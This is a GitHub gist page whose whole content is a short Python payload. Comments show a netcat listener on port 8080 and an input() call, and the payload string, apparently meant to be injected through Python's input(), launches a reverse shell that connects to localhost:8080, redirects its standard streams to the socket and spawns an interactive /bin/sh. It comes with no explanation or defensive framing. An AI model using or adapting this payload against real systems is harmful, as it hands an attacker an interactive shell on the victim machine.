Skip to content

Instantly share code, notes, and snippets.

@GreeeenApple
Created October 5, 2016 00:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save GreeeenApple/58482b4a34e55017050d38b98e67d8ed to your computer and use it in GitHub Desktop.
Save GreeeenApple/58482b4a34e55017050d38b98e67d8ed to your computer and use it in GitHub Desktop.
## nc -l 8080
## >>> input()
__import__("os").system("""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("localhost",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment